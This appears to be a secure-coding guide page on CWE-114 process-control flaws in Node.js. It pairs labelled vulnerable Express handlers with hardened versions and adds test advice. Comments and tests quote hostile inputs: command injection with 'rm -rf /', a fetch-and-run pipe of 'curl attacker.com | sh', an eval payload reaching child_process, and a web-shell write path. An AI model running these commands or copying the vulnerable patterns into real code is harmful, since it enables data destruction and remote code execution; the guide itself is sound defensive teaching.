Skip to content

CWE-114: Process Control - JavaScript/Node.js

Overview

Process control vulnerabilities in JavaScript/Node.js applications occur when untrusted user input controls process execution, lifecycle, or behavior. Node.js's child_process module and process management APIs put spawning and signalling within reach of a request handler, so an unguarded endpoint lets a caller start a process of their choosing, terminate a critical service, or exhaust system resources.

Key Security Issues:

  • Unauthorized Process Termination: Killing critical Node.js worker processes or system services
  • Command Injection: Untrusted data reaching a shell through process spawning functions
  • Resource Exhaustion: Fork bombing through unlimited process creation
  • Privilege Escalation: Manipulating process execution with elevated privileges
  • Information Disclosure: Exposing process details including environment variables with secrets

Primary Defence: Use child_process.execFile() or child_process.spawn() with shell: false and explicit argument arrays, implement allowlists for process commands and PIDs, enforce resource limits (CPU, memory, process count), and require authorization checks before process termination or spawning operations.

Common Node.js/JavaScript Scenarios:

  • Express/Fastify APIs managing worker processes based on user requests
  • PM2/Forever process managers with web control panels
  • Build systems spawning compilation processes with user-supplied parameters
  • Container orchestration dashboards controlling Docker containers
  • Serverless function platforms managing execution contexts
  • Electron apps managing child processes for background tasks

Why this matters in Node.js:

  • child_process.exec() with user input enables direct command injection
  • Node.js cluster management often lacks proper authorization
  • PM2 and process managers expose powerful control APIs
  • Easy to overlook security when spawning "simple" background tasks
  • Single-threaded nature makes DoS via process control particularly effective

Common Vulnerable Patterns

Unvalidated Process Termination with process.kill()

const express = require('express');
const app = express();

// DANGEROUS: User controls which process to kill
app.post('/admin/kill-process', (req, res) => {
  const pid = parseInt(req.body.pid);

  try {
    process.kill(pid, 'SIGKILL');  // No validation or authorization
    res.json({ status: 'killed', pid });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

Why this is vulnerable:

  • No authentication or authorization
  • Can target any process on the system
  • No ownership verification
  • Missing audit logging
  • Could kill Node.js itself or critical system processes

Command Injection via child_process.exec()

const { exec } = require('child_process');

app.post('/convert-image', (req, res) => {
  const filename = req.body.filename;

  // DANGEROUS: Command injection vulnerability
  exec(`convert ${filename} output.png`, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).json({ error: error.message });
    }
    res.json({ result: 'converted' });
  });
});

// Attack: filename = "input.jpg; rm -rf /"

Why this is vulnerable:

  • Concatenating user input into shell command
  • Using exec() which spawns a shell
  • No input validation or sanitization
  • Allows arbitrary command execution

Unrestricted Process Spawning

const { spawn } = require('child_process');

app.post('/run-script', (req, res) => {
  const scriptName = req.body.script;
  const args = req.body.args || [];

  // DANGEROUS: No validation, no rate limiting
  const child = spawn(scriptName, args);

  res.json({ pid: child.pid, status: 'started' });
});

// Attack: script="/bin/sh", args=["-c", "curl attacker.com | sh"]

Why this is vulnerable:

  • No allowlist of permitted scripts
  • Can execute any binary on the system
  • No rate limiting - fork bomb possible
  • Arguments not validated
  • No resource limits

PM2 Process Control Without Authorization

const pm2 = require('pm2');

app.post('/pm2/restart', (req, res) => {
  const processName = req.body.process;

  // DANGEROUS: Anyone can restart any PM2 process
  pm2.connect((err) => {
    if (err) return res.status(500).json({ error: err });

    pm2.restart(processName, (err) => {
      pm2.disconnect();
      if (err) return res.status(500).json({ error: err });
      res.json({ status: 'restarted' });
    });
  });
});

Why this is vulnerable:

  • No authentication required
  • Can restart any PM2-managed process
  • No validation of process name
  • Could disrupt critical services
  • Missing audit trail

Cluster Worker Management Without Validation

const cluster = require('cluster');

if (cluster.isMaster) {
  app.post('/admin/kill-worker', (req, res) => {
    const workerId = req.body.workerId;

    // DANGEROUS: No authorization
    const worker = cluster.workers[workerId];
    if (worker) {
      worker.kill();  // Anyone can kill workers
      res.json({ status: 'killed' });
    }
  });
}

Why this is vulnerable:

  • No authorization check
  • Exposes internal worker management
  • Can cause service degradation
  • No rate limiting on worker kills

Exposing Process Environment Variables

app.get('/debug/env', (req, res) => {
  // DANGEROUS: Exposes all environment variables
  res.json({
    env: process.env,  // Contains secrets!
    pid: process.pid,
    version: process.version
  });
});

Why this is vulnerable:

  • Environment variables contain database passwords, API keys
  • No authorization required
  • Sensitive data exposed via HTTP
  • Aids in reconnaissance for further attacks
app.post('/execute-command', (req, res) => {
  const command = req.body.command;

  // DANGEROUS: Code injection
  const result = eval(`process.${command}`);
  res.json({ result });
});

// Attack: command="mainModule.require('child_process').exec('rm -rf /')"

Why this is vulnerable:

  • eval() allows arbitrary code execution
  • Can access child_process module
  • No sandboxing or restrictions
  • Whatever is injected runs with the Node process's own privileges

Docker Container Control Without Authorization

const Docker = require('dockerode');
const docker = new Docker();

app.post('/containers/stop', async (req, res) => {
  const containerId = req.body.containerId;

  // DANGEROUS: No authorization
  const container = docker.getContainer(containerId);
  await container.stop();

  res.json({ status: 'stopped' });
});

Why this is vulnerable:

  • Anyone can stop any container
  • No container ownership verification
  • Could disrupt production services
  • Missing logging

Secure Patterns

Process Termination with Authorization

const express = require('express');
const app = express();

class SecureProcessManager {
  constructor() {
    this.managedProcesses = new Map();
    this.authorizedUsers = new Set(['admin', 'ops-team']);
  }

  registerProcess(processId, pid, owner, name) {
    this.managedProcesses.set(processId, {
      pid,
      owner,
      name,
      startedAt: new Date()
    });
    console.log(`Process registered: ${processId} (PID: ${pid}) by ${owner}`);
  }

  async killProcess(processId, currentUser) {
    // Authorization check
    if (!this.authorizedUsers.has(currentUser)) {
      const error = new Error(`User ${currentUser} not authorized for process control`);
      console.warn(`[AUDIT] Unauthorized kill attempt by ${currentUser}`);
      throw error;
    }

    // Validate process ID
    const managedProcess = this.managedProcesses.get(processId);
    if (!managedProcess) {
      const error = new Error(`Process ${processId} not under management`);
      console.warn(`[AUDIT] Attempted to kill unmanaged process: ${processId}`);
      throw error;
    }

    // Ownership verification
    if (managedProcess.owner !== currentUser && currentUser !== 'admin') {
      const error = new Error('Cannot kill process owned by another user');
      console.warn(
        `[AUDIT] ${currentUser} attempted to kill process owned by ${managedProcess.owner}`
      );
      throw error;
    }

    try {
      // Send SIGTERM first (graceful shutdown)
      process.kill(managedProcess.pid, 'SIGTERM');

      console.log(
        `[AUDIT] SIGTERM sent to ${processId} (PID: ${managedProcess.pid}) by ${currentUser}`
      );

      this.managedProcesses.delete(processId);
      return true;
    } catch (error) {
      if (error.code === 'ESRCH') {
        console.warn(`Process ${processId} (PID: ${managedProcess.pid}) no longer exists`);
        this.managedProcesses.delete(processId);
        return false;
      }
      throw error;
    }
  }
}

// Usage in Express
const processManager = new SecureProcessManager();

app.post('/admin/kill-process', authenticateUser, async (req, res) => {
  const { processId } = req.body;

  try {
    await processManager.killProcess(processId, req.user.username);
    res.json({ status: 'success', processId });
  } catch (error) {
    console.error(`Process kill failed: ${error.message}`);
    res.status(403).json({ error: 'Process control request denied' });
  }
});

Why this works:

  • Requires authentication (authenticateUser middleware)
  • Authorization check via authorizedUsers set
  • Process allowlist prevents arbitrary process control
  • Ownership verification
  • Graceful shutdown with SIGTERM
  • Audit logging on the refusal paths as well as on the kill
  • The rejection says nothing back: the detail goes to the log and the caller gets a fixed string

Do not answer with error.message. The catch here is wide enough to cover process.kill, so a Node system error reaches it - and the messages this class throws are themselves the leak: Process billing-worker not under management and Cannot kill process owned by another user are different answers, so an unauthorized caller can walk process IDs and learn which ones exist and who owns them. That is CWE-209 sitting on top of the authorization check. Log the message, answer with a fixed one, and keep the audit line - which is where the detail is actually useful.

Safe Process Spawning with Allowlist

const { spawn } = require('child_process');
const { randomUUID } = require('crypto');
const path = require('path');

class SecureProcessSpawner {
  // Owned by the service account, mode 0700. Created at deploy time, not here.
  static WORK_DIR = '/var/lib/app/work';

  constructor() {
    // Allowlist of permitted executables
    this.allowedExecutables = new Map([
      ['image-processor', '/usr/bin/convert'],
      ['pdf-generator', '/usr/bin/wkhtmltopdf'],
      ['video-encoder', '/usr/bin/ffmpeg']
    ]);

    // Rate limiting
    this.userProcessCount = new Map();
    this.MAX_PROCESSES_PER_USER = 3;
  }

  validateArguments(args) {
    const dangerous = /[;&|`$(){}[\]<>*?~]/;

    for (const arg of args) {
      if (typeof arg !== 'string') {
        throw new TypeError('Arguments must be strings');
      }

      // Shell metacharacters. Redundant with shell: false, kept so that
      // reintroducing a shell later does not silently open this up.
      if (dangerous.test(arg)) {
        throw new Error(`Argument contains dangerous characters: ${arg}`);
      }

      // Path traversal and absolute paths
      if (arg.includes('..') || arg.startsWith('/')) {
        throw new Error(`Path traversal detected: ${arg}`);
      }

      // Option injection: a value starting with "-" is read as a flag by the
      // program, not as a filename. shell: false does nothing about this.
      if (arg.startsWith('-')) {
        throw new Error(`Argument may not start with '-': ${arg}`);
      }

      if (arg.length > 255) {
        throw new Error(`Argument too long: ${arg.length} chars`);
      }
    }

    return args;
  }

  async spawnProcess(jobType, args, currentUser) {
    // Validate job type against allowlist
    const executable = this.allowedExecutables.get(jobType);
    if (!executable) {
      throw new Error(`Job type '${jobType}' not permitted`);
    }

    // Rate limiting
    const userCount = this.userProcessCount.get(currentUser) || 0;
    if (userCount >= this.MAX_PROCESSES_PER_USER) {
      throw new Error(
        `Process limit reached (${this.MAX_PROCESSES_PER_USER}) for user ${currentUser}`
      );
    }

    // Validate the request-supplied values, then place them among the fixed
    // flags. "--" stops the program reading the first one as an option.
    const [input, format, output] = this.validateArguments(args);
    const argv = ['-format', format, '--', input, output];

    // Spawn process with security options
    const child = spawn(executable, argv, {
      // Don't use shell
      shell: false,

      // Clean environment (no secrets)
      env: {
        PATH: '/usr/bin:/bin',
        USER: currentUser,
        NODE_ENV: 'production'
      },

      // Security options
      detached: false, // Don't create new process group
      stdio: ['ignore', 'pipe', 'pipe'], // No stdin
      // NOT /tmp: it is world-writable, so a fixed output name there is a file
      // any local user can pre-create, symlink or replace between runs (CWE-377).
      cwd: SecureProcessSpawner.WORK_DIR
    });

    // Resource limits: kill long-running or noisy processes
    const MAX_OUTPUT_BYTES = 1024 * 1024;
    const timeoutId = setTimeout(() => {
      child.kill('SIGKILL');
    }, 30000);

    let outputBytes = 0;
    const onData = (data) => {
      outputBytes += data.length;
      if (outputBytes > MAX_OUTPUT_BYTES) {
        child.kill('SIGKILL');
      }
    };

    child.stdout?.on('data', onData);
    child.stderr?.on('data', onData);

    // Track process count
    this.userProcessCount.set(currentUser, userCount + 1);

    // Cleanup on exit
    child.on('exit', () => {
      clearTimeout(timeoutId);
      const count = this.userProcessCount.get(currentUser) || 0;
      this.userProcessCount.set(currentUser, Math.max(0, count - 1));
    });

    console.log(
      `[AUDIT] Process spawned: ${jobType} by ${currentUser} (PID: ${child.pid})`
    );

    return child;
  }
}

// Usage
const spawner = new SecureProcessSpawner();

app.post('/jobs/convert-image', authenticateUser, async (req, res) => {
  const { inputFile, format } = req.body;

  try {
    // Only the values the request supplies go through validateArguments; the
    // fixed flags are the application's own and are added by spawnProcess.
    // The output name is per-request, not the fixed 'output.jpg' a shared
    // working directory would let one user's job overwrite for another's.
    const child = await spawner.spawnProcess(
      'image-processor',
      [inputFile, format, `${randomUUID()}.jpg`],
      req.user.username
    );

    let output = '';
    child.stdout.on('data', (data) => { output += data; });

    child.on('close', (code) => {
      if (code === 0) {
        res.json({ status: 'success', output });
      } else {
        res.status(500).json({ error: `Process exited with code ${code}` });
      }
    });

  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

Why this works:

  • The jobType key maps to an absolute executable path, so the request never names a binary and PATH is never consulted
  • shell: false means the argument array is passed to execvp as-is, with nothing parsing metacharacters out of it
  • Argument validation blocks path traversal, and rejects values starting with - so an attacker-chosen filename cannot become an option to the program
  • Only the request-supplied values are validated; the fixed flags are added by the spawner, so tightening the rules cannot break the application's own arguments
  • Rate limiting per user prevents fork bombs, and the counter is decremented from the child's exit event so a finished job releases its slot
  • The environment is replaced rather than inherited, so nothing from the parent's secrets reaches the child
  • The timeout and the output cap bound a hung or chatty process
  • Both output streams are consumed, so the child cannot block on a full pipe
  • The working directory is a service-owned path rather than /tmp, and the output name is per-request. A fixed name in a world-writable directory is a second weakness in its own right (CWE-377): any local user can pre-create it, point it at a symlink, or read one user's result out of another's job

Safe PM2 Process Management

const pm2 = require('pm2');

class SecurePM2Manager {
  constructor() {
    this.allowedProcesses = new Set([
      'web-server',
      'api-worker',
      'background-job'
    ]);
    this.processOwners = new Map();
  }

  async restartProcess(processName, currentUser) {
    // Validate process name against allowlist
    if (!this.allowedProcesses.has(processName)) {
      throw new Error(`Process '${processName}' not under management`);
    }

    // Check ownership
    const owner = this.processOwners.get(processName);
    if (owner && owner !== currentUser && currentUser !== 'admin') {
      throw new Error('Cannot manage process owned by another user');
    }

    return new Promise((resolve, reject) => {
      pm2.connect((err) => {
        if (err) {
          reject(err);
          return;
        }

        pm2.restart(processName, (err, proc) => {
          pm2.disconnect();

          if (err) {
            console.error(`[AUDIT] PM2 restart failed: ${processName} by ${currentUser}`);
            reject(err);
          } else {
            console.log(`[AUDIT] PM2 restart: ${processName} by ${currentUser}`);
            resolve(proc);
          }
        });
      });
    });
  }
}

// Module scope, NOT inside the handler. A manager constructed per request starts
// with an empty processOwners map, so `if (owner && ...)` is never true and the
// ownership check silently never runs - the code reads as if it does.
const pm2Manager = new SecurePM2Manager();

app.post('/admin/pm2/restart', authenticateUser, requireAdmin, async (req, res) => {
  const { processName } = req.body;

  try {
    await pm2Manager.restartProcess(processName, req.user.username);
    res.json({ status: 'restarted', processName });
  } catch (error) {
    console.warn('PM2 restart rejected', { reason: error.message });
    res.status(403).json({ error: 'Process control request denied' });
  }
});

Why this works:

  • Process name allowlist restricts which PM2 processes the endpoint can touch at all
  • Ownership tracking and verification, using state that outlives the request
  • Authorization required (requireAdmin) before the handler runs
  • Audit logging of both the success and the failure path
  • Promise-based error handling, so a PM2 error cannot resolve as a success
  • The rejection says nothing back, for the same reason as the kill endpoint above

The manager has to outlive the request. processOwners is instance state. Construct the manager inside the route handler and every request gets an empty map, which makes if (owner && owner !== currentUser) unreachable - the ownership check is present, reads correctly, and never fires. This is the failure mode to look for whenever a control depends on state that some other code path recorded: check that the object holding it is the same object. In a multi-process deployment the same argument goes one step further, and the map belongs in Redis or the database rather than in memory, or a restart on one worker will be invisible to the next request.

Secure Cluster Worker Management

const cluster = require('cluster');
const os = require('os');

// isMaster was deprecated in Node 16.0.0, the same release that added isPrimary.
if (cluster.isPrimary) {
  const workerOwners = new Map();
  const MAX_WORKERS = os.cpus().length;

  class SecureClusterManager {
    static async killWorker(workerId, currentUser) {
      // Authorization
      if (currentUser !== 'admin' && currentUser !== 'ops') {
        throw new Error('Not authorized for worker management');
      }

      // Validate worker ID
      const worker = cluster.workers[workerId];
      if (!worker) {
        throw new Error(`Worker ${workerId} not found`);
      }

      // Check if safe to kill (not last worker)
      const activeWorkers = Object.keys(cluster.workers).length;
      if (activeWorkers <= 1) {
        throw new Error('Cannot kill last worker');
      }

      // Graceful shutdown
      worker.send({ cmd: 'shutdown' });

      // Force kill after timeout
      setTimeout(() => {
        if (!worker.isDead()) {
          worker.kill('SIGKILL');
        }
      }, 5000);

      console.log(`[AUDIT] Worker ${workerId} shutdown by ${currentUser}`);
    }

    static async spawnWorker(currentUser) {
      // Authorization
      if (currentUser !== 'admin') {
        throw new Error('Not authorized to spawn workers');
      }

      // Rate limiting
      const activeWorkers = Object.keys(cluster.workers).length;
      if (activeWorkers >= MAX_WORKERS) {
        throw new Error(`Maximum workers (${MAX_WORKERS}) reached`);
      }

      const worker = cluster.fork();
      workerOwners.set(worker.id, currentUser);

      console.log(`[AUDIT] Worker ${worker.id} spawned by ${currentUser}`);
      return worker;
    }
  }

  // Express routes for cluster management
  app.post('/admin/workers/kill', authenticateUser, async (req, res) => {
    try {
      await SecureClusterManager.killWorker(
        req.body.workerId,
        req.user.username
      );
      res.json({ status: 'success' });
    } catch (error) {
      res.status(403).json({ error: error.message });
    }
  });
}

Why this works:

  • Authorization required (admin/ops only)
  • Prevents killing last worker (maintains availability)
  • Graceful shutdown with timeout
  • Rate limiting on worker creation
  • Audit logging

Secure Environment Variable Access

class SecureEnvAccess {
  constructor() {
    // Allowlist of safe environment variables
    this.safeEnvVars = new Set([
      'NODE_ENV',
      'PORT',
      'LOG_LEVEL'
    ]);
  }

  getProcessInfo(currentUser) {
    // Authorization
    if (currentUser !== 'admin') {
      throw new Error('Not authorized to view process information');
    }

    // Return only safe, non-sensitive information
    return {
      pid: process.pid,
      version: process.version,
      platform: process.platform,
      uptime: process.uptime(),
      memoryUsage: process.memoryUsage(),
      // Only safe env vars
      env: Object.fromEntries(
        Array.from(this.safeEnvVars)
          .filter(key => process.env[key])
          .map(key => [key, process.env[key]])
      )
    };
  }
}

app.get('/admin/process/info', authenticateUser, requireAdmin, (req, res) => {
  const envAccess = new SecureEnvAccess();

  try {
    const info = envAccess.getProcessInfo(req.user.username);
    res.json(info);
  } catch (error) {
    res.status(403).json({ error: error.message });
  }
});

Why this works:

  • Admin-only, checked by the requireAdmin middleware and again inside getProcessInfo
  • Environment variable allowlist excludes secrets
  • Returns only safe process information
  • No command line arguments exposed

Docker Container Management with Authorization

const Docker = require('dockerode');
const docker = new Docker();

class SecureDockerManager {
  constructor() {
    this.containerOwners = new Map();
    this.allowedImages = new Set([
      'myapp/worker:latest',
      'myapp/processor:latest'
    ]);
  }

  async startContainer(imageName, currentUser) {
    // Validate image
    if (!this.allowedImages.has(imageName)) {
      throw new Error(`Image '${imageName}' not permitted`);
    }

    // Create container with security options
    const container = await docker.createContainer({
      Image: imageName,
      // Security options
      HostConfig: {
        Memory: 512 * 1024 * 1024, // 512MB limit
        MemorySwap: 512 * 1024 * 1024, // Equal to Memory = no swap
        CpuQuota: 50000, // 50% of one CPU (against the default 100000 period)
        PidsLimit: 100, // Limit processes
        ReadonlyRootfs: true, // Read-only filesystem
        CapDrop: ['ALL'], // Drop all capabilities
        SecurityOpt: ['no-new-privileges'],
        // NetworkMode belongs in HostConfig. At the top level of the create
        // options the daemon ignores it, and the container silently gets the
        // default network instead of whatever was intended.
        NetworkMode: 'none' // No network at all; use a named network if it needs one
      },
      User: '65534:65534' // Run as nobody, not root
    });

    await container.start();

    this.containerOwners.set(container.id, currentUser);

    console.log(`[AUDIT] Container ${container.id} started by ${currentUser}`);

    return container;
  }

  async stopContainer(containerId, currentUser) {
    // Check ownership
    const owner = this.containerOwners.get(containerId);
    if (!owner) {
      throw new Error(`Container ${containerId} not found`);
    }

    if (owner !== currentUser && currentUser !== 'admin') {
      throw new Error('Cannot stop container owned by another user');
    }

    const container = docker.getContainer(containerId);
    await container.stop({ t: 10 }); // 10 second graceful stop

    console.log(`[AUDIT] Container ${containerId} stopped by ${currentUser}`);

    this.containerOwners.delete(containerId);
  }
}

// Module scope. Constructed per request, containerOwners would always be empty:
// startContainer would record ownership into an object thrown away moments later,
// and stopContainer would reject every container as "not found".
const dockerManager = new SecureDockerManager();

app.post('/containers/start', authenticateUser, async (req, res) => {
  try {
    const container = await dockerManager.startContainer(
      req.body.image,
      req.user.username
    );
    res.json({ containerId: container.id });
  } catch (error) {
    console.warn('container start rejected', { reason: error.message });
    res.status(400).json({ error: 'Container request rejected' });
  }
});

Why this works:

  • Image allowlist, so the request names a key rather than an image reference
  • Resource limits (CPU, memory, process count) bound what a container can consume
  • Read-only root filesystem, dropped capabilities and no-new-privileges limit what it can do if the workload is compromised
  • Ownership tracking in state that outlives the request, for the same reason as the PM2 example above
  • Authorization checked against the recorded owner before the container is stopped
  • The rejection says nothing back: the detail goes to the log and the caller gets a fixed string

NetworkMode: 'bridge' is not isolation. Bridge is Docker's default: the container gets outbound access to the internet and to anything routable from the host, which is the network position an attacker wants. 'none' is the isolating value. If the workload needs to reach one service, put it on a user-defined network with just that service rather than reaching for bridge and calling it isolated. Placement matters as much as the value - NetworkMode is a HostConfig field, and the daemon ignores it at the top level of the create options without complaining, so the container comes up on the default network and the setting reads as applied.

ReadonlyRootfs breaks images that write anywhere outside a volume, which is most of them - logs, PID files, caches, and anything that unpacks into /tmp. Expect to add Tmpfs: { '/tmp': '' } and a volume for state when you turn it on, and to find out which paths matter by watching the container fail.

Key Security Functions

Process ID Validator

class ProcessValidator {
  static validateProcessId(processId) {
    // Internal process ID format (not system PID)
    const validFormat = /^[a-z0-9_-]{1,64}$/;

    if (typeof processId !== 'string') {
      throw new TypeError('Process ID must be a string');
    }

    if (!validFormat.test(processId)) {
      throw new Error(
        `Invalid process ID format: ${processId}. ` +
        'Must be alphanumeric, dash, or underscore (1-64 chars)'
      );
    }

    return true;
  }

  // Shape check only. A PID does not identify anything on its own - the number is
  // reused once the process table wraps, and there is no relationship between the
  // value and who is allowed to signal it. Use it after looking the PID up in the
  // application's own record of processes it started, never instead of that.
  //
  // Note what this does NOT do: reject "system" PIDs by number. A pid < 100 rule
  // is a blocklist over a namespace the attacker does not have to use - inside a
  // container PID 1 is the workload, and on a busy host the database is somewhere
  // in the tens of thousands. The managed-process map is the control.
  static validatePID(pid) {
    if (!Number.isInteger(pid) || pid <= 0) {
      throw new Error(`Invalid PID: ${pid}`);
    }

    return true;
  }

  static validateSignal(signal) {
    const allowedSignals = new Set([
      'SIGTERM', 'SIGHUP', 'SIGUSR1', 'SIGUSR2'
    ]);

    if (!allowedSignals.has(signal)) {
      throw new Error(
        `Signal '${signal}' not allowed. Permitted: ${[...allowedSignals].join(', ')}`
      );
    }

    return true;
  }
}

Argument and command resolvers

const path = require('path');

class CommandSanitizer {
  static sanitizeArgument(arg) {
    if (typeof arg !== 'string') {
      throw new TypeError('Argument must be a string');
    }

    // Reject shell metacharacters. This is belt-and-braces: with shell: false
    // nothing interprets them, and it exists only to catch a later change that
    // reintroduces a shell. It is not what makes the spawn safe.
    const dangerous = /[;&|`$(){}[\]<>*?~!#]/;
    if (dangerous.test(arg)) {
      throw new Error(`Dangerous characters in argument: ${arg}`);
    }

    // Reject path traversal and absolute paths
    if (arg.includes('..') || path.isAbsolute(arg)) {
      throw new Error(`Path traversal detected: ${arg}`);
    }

    // Reject option-looking values. An attacker-supplied filename that starts
    // with "-" is read as a flag by the program being run - convert -write,
    // tar --to-command, curl -o - which no amount of shell-escaping prevents.
    if (arg.startsWith('-')) {
      throw new Error(`Argument may not start with '-': ${arg}`);
    }

    if (arg.length > 255) {
      throw new Error(`Argument too long: ${arg.length} chars`);
    }

    return arg;
  }

  // Maps a request-supplied key to a full path. It deliberately does NOT accept
  // a command and hand back a sanitised one: returning a bare name such as
  // "convert" puts PATH resolution back in play, which is the weakness the
  // absolute path was there to close.
  static resolveCommand(jobType, allowedCommands) {
    const executable = allowedCommands.get(jobType);

    if (!executable) {
      throw new Error(`Job type '${jobType}' not in allowlist`);
    }

    return executable; // e.g. '/usr/bin/convert'
  }
}

// const COMMANDS = new Map([['image-processor', '/usr/bin/convert']]);
// spawn(CommandSanitizer.resolveCommand(req.body.job, COMMANDS),
//       req.body.args.map(CommandSanitizer.sanitizeArgument),
//       { shell: false });

Considerations

A PID is not an identity. Every pattern on this page routes through a map of processes the application itself started, and that is the load-bearing part rather than any check on the number. process.kill(pid) will signal anything the Node process's user owns, PIDs are reused as the table wraps, and a pid < 100 rule is a blocklist over a namespace the target does not have to sit in - inside a container the workload is PID 1. If a request can name a PID directly, that is the finding; validating the number does not fix it.

Where the ownership map lives decides whether it works. Instance state on a manager constructed inside the route handler is empty on arrival, so the ownership check reads correctly and never fires. Module-level state fixes that for a single process and breaks again under cluster, PM2's cluster mode, or more than one container - the worker that started the job is not the one handling the stop request. Once the deployment is more than one process, the map belongs in Redis or the database.

shell: false and argument injection are different problems. Moving from exec() to spawn/execFile with shell: false closes metacharacter injection completely: the argument array reaches execvp untouched. It does nothing about a value the program itself reads as an option, and the dangerous options are program-specific - convert -write, tar --to-command, curl -o, ffmpeg -f lavfi. Reject a leading - on request-supplied values, or use -- where the program honours it. Getting this backwards is common: a page that escapes quotes and then still lets the filename be -write has fixed the visible half.

Whether spawning is the right shape at all. Rate limiting, timeouts and output caps are what you write when the web process spawns children directly, and they are all attempts to bound a thing that should not be on the request path. If the work is long enough to need a timeout, a job queue with its own worker pool gives you the limit, the retry and the audit trail without an Express handler holding a child process open. Reach for the controls here when the spawn genuinely has to be synchronous with the request.

Container hardening changes what the image can do. ReadonlyRootfs, CapDrop: ['ALL'] and a non-root User are the right defaults and each one breaks real images: anything that writes logs to disk, binds a port below 1024, or expects to chown its data directory. Turn them on in staging first, and expect to add a Tmpfs mount and a volume rather than to find the image works unchanged. NetworkMode: 'none' is the strictest and is only reachable for workloads that talk to nothing.

Testing

The rule that flagged child_process.exec stops firing as soon as the call becomes spawn(..., { shell: false }), whether or not the surrounding controls work. The failures worth testing for here are all silent: an ownership map that is empty on every request, a validator that rejects the application's own arguments, and a container option the daemon ignores.

  • Start a job as alice, then call the stop endpoint as bob and assert 403; then call it as alice and assert 200. The second half is what catches a manager constructed inside the route handler - its ownership map is empty on arrival, so bob is refused for the wrong reason and alice is refused too.
  • Restart the process between those two calls and assert the behaviour still holds, or record explicitly that ownership does not survive a restart. In-memory state fails this, and the test is how you find out before production does.
  • validateArguments(['photo.jpg', 'png', 'output.jpg']) returns without throwing. Tightening this validator is how it ends up rejecting the application's own flags, and the hostile-input assertions below pass either way.
  • validateArguments throws for '-write /var/www/shell.php', '../../etc/passwd' and 'a;rm -rf /'. The first is the one that survives shell: false.
  • Spawn a job that writes more than 1 MB to stdout, assert the output cap kills it, then assert the same user can start another job. A counter decremented only on the clean-exit path locks the user out after three failures.
  • docker inspect a created container and assert .HostConfig.NetworkMode === "none". Set at the top level of the create options rather than inside HostConfig, the value is dropped without an error and the container comes up on the default bridge network.
  • Call the kill endpoint as an authorized user for a process ID that is not under management, then for one owned by someone else, and assert the two response bodies are byte-identical. Different bodies make the endpoint an inventory of which processes exist and who owns them, which the authorization check was supposed to withhold.

Additional Resources